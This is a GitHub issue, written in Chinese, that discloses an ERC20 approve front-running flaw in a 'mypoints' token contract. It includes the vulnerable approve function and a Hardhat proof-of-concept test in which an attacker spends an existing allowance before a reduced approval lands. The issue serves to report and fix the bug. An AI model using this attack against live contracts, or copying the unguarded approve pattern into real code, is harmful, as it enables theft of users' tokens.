Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Problematic code design that allows attacker to front-run #109

Open
InPlusLab opened this issue Feb 22, 2023 · 1 comment
Open

Problematic code design that allows attacker to front-run #109

InPlusLab opened this issue Feb 22, 2023 · 1 comment
Labels
bug Something isn't working volunteer wanted

Comments

@InPlusLab
Copy link

漏洞描述

在business_template/red_packet项目中,mypoints 是一个符合ERC20代币标准的积分代币合约,支持用户将自己的积分授权给其他用户使用,即用户A可以授权用户B直接使用指定数量的积分。该功能的核心是通过allows 变量记录用户之间的授权积分数量,其中缺省值代表授权数量为零。用户可以通过 approve 函数修改自己给其他用户授权的积分数量 allows。

正常情况:假设用户A拥有150个积分,用户A授权用户B 100个积分。用户A首先通过发布一笔调用 approve 函数的交易将自己对用户B的授权数量改为50个积分。然后用户B发布一笔调用 transferFrom 函数的交易转走用户A的50个积分。此时,用户A对用户B的授权数量会修改为0个积分。

攻击方法:假设用户A拥有150个积分,用户A授权用户B 100个积分。用户A同样通过发布一笔调用 approve 函数的交易将自己对用户B的授权数量改为50个积分。但是用户B(攻击者)监听到这笔交易,此时用户B发布一笔调用 transferFrom 函数的交易抢先在用户A发布的交易生效前转走用户A给自己授权的100个积分,此时用户A对用户B的授权数量改为0个积分。然后用户A的 approve 交易才生效,此时用户A对用户B的授权数量又被修改为50个积分。最终用户B又可以在用户A未经许可的情况下调用 transferFrom 函数转走用户A的50个积分。

漏洞代码片段

function approve(address _spender, uint256 _value) override external returns (bool success) {
   success = false;
   require(_value > 0, "_value must > 0");
   require(address(0) != _spender, "_spender must a valid address");
   require(balances[msg.sender] >= _value, "user's balance must enough");
   
   allows[msg.sender][_spender] = _value;
   
   emit Approval(msg.sender, _spender, _value);
   success = true;
   return true;
}

漏洞复现脚步

describe("testing mypoints", function (){
  let mypoints;
  let owner;
  let userA;
  let attacker;
  // depoly mypoints contract before testing
  beforeEach(async function(){
    [owner, userA, attacker] = await ethers.getSigners();
    const Mypoints = await ethers.getContractFactory("mypoints");
    mypoints = await Mypoints.deploy("mypoints_name","mypoints_symbol"); 
    await mypoints.connect(owner).mint(userA.address, 150);
    await mypoints.connect(userA).approve(attacker.address, 100);
  })
  
  it("Should successfully attack", async function(){
    console.log("before the attack");
    console.log("balance of userA =", await mypoints.balanceOf(userA.address));
    console.log("balance of attacker =", await mypoints.balanceOf(attacker.address));
    console.log("allowance of userA to attacker =", await mypoints.allowance(userA.address, attacker.address));
    // attacker steal 100 token from userA before userA invoking approve
    await mypoints.connect(attacker).transferFrom(userA.address, attacker.address, 100);
    await mypoints.connect(userA).approve(attacker.address, 50);
  
    console.log("after the attack");
    console.log("balance of userA =", await mypoints.balanceOf(userA.address));
    console.log("balance of attacker =", await mypoints.balanceOf(attacker.address));
    console.log("allowance of userA to attacker =", await mypoints.allowance(userA.address, attacker.address));
  })
})

结果截图
Picture 1

@wheatli wheatli added the bug Something isn't working label Feb 28, 2023
@userInner
Copy link

这是否算做双花攻击,感觉又像是人为造成得漏洞

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working volunteer wanted
Projects
None yet
Development

No branches or pull requests

4 participants